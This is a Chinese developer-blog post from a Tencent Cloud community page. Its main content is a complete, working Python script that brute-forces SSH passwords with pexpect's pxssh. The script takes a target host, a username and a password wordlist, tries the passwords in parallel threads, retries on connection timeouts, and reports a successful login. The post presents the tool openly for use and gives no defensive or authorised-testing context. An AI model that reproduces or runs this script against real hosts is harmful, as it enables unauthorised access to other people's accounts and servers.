前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >python 暴力破解ssh密码pxssh

python 暴力破解ssh密码pxssh

作者头像
用户5760343
发布2019-07-31 15:46:28
2.6K0
发布2019-07-31 15:46:28
举报
文章被收录于专栏:sktj

from pexpect import pxssh import optparse import time from threading import *

maxConnections = 5

定义一个有界信号量BoundedSemaphore,在调用release()函数时会检查增加的计数是否超过上限

connection_lock = BoundedSemaphore(value=maxConnections) Found = False Fails = 0

def connect(host,user,password,release):

代码语言:javascript
复制
global Found
global Fails

try:
    s = pxssh.pxssh()
    #利用pxssh类的login()方法进行ssh登录
    s.login(host,user,password)
    print ('[+] Password Found: ' + password)
    Found = True
except Exception as e:
    #SSH服务器可能被大量的连接刷爆,等待一会再连接
    if 'read_nonblocking' in str(e):
        Fails += 1
        time.sleep(5)
        #递归调用的connect(),不可释放锁
        connect(host,user,password,False)
    #显示pxssh命令提示符提取困难,等待一会再连接
    elif 'synchronize with original prompt' in str(e):
        time.sleep(1)
        #递归调用的connect(),不可释放锁
        connect(host,user,password,False)
finally:
    if release:
        #释放锁
        connection_lock.release()

def main(): parser = optparse.OptionParser('[*] Usage : ./sshBrute.py -H <target host> -u <username> -f <password file>') parser.add_option('-H',dest='host',type='string',help='specify target host') parser.add_option('-u',dest='username',type='string',help='target username') parser.add_option('-f',dest='file',type='string',help='specify password file') (options,args) = parser.parse_args()

代码语言:javascript
复制
if (options.host == None) | (options.username == None) | (options.file == None):
    print(parser.usage)
    exit(0)

host = options.host
username = options.username
file = options.file

fn = open(file,'r')
for line in fn.readlines():

    if Found:
        print('[*] Exiting: Password Found')
        exit(0)

    if Fails > 5:
        print('[!] Exiting: Too Many Socket Timeouts')
        exit(0)

    #加锁
    connection_lock.acquire()

    #去掉换行符,其中Windows为'\r\n',Linux为'\n'
    password = line.strip('\r').strip('\n')
    print('[-] Testing: ' + str(password))

    #这里不是递归调用的connect(),可以释放锁
    t = Thread(target=connect,args=(host,username,password,True))
    child = t.start()

if name =='main': main()

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019.07.29 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 定义一个有界信号量BoundedSemaphore,在调用release()函数时会检查增加的计数是否超过上限
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档